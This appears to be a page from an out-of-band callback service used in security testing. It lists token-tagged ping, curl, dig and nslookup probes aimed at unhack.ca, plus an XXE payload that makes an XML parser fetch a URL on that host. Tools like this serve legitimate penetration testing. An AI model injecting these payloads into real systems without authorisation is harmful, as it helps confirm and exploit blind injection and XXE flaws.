$ ping -c1 -p 00982ab1e35c86160d9e9ea547b1c500 unhack.ca
 
$ curl http://unhack.ca/p/982ab1e35c86160d9e9ea547b1c5
 
$ dig 982ab1e35c86160d9e9ea547b1c5 @unhack.ca
 
$ dig 982ab1e35c86160d9e9ea547b1c5.ns.unhack.ca
 
C:\> nslookup 982ab1e35c86160d9e9ea547b1c5 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/982ab1e35c86160d9e9ea547b1c5">]>
    <foo>&xxe;</foo>
 
Waiting for ping...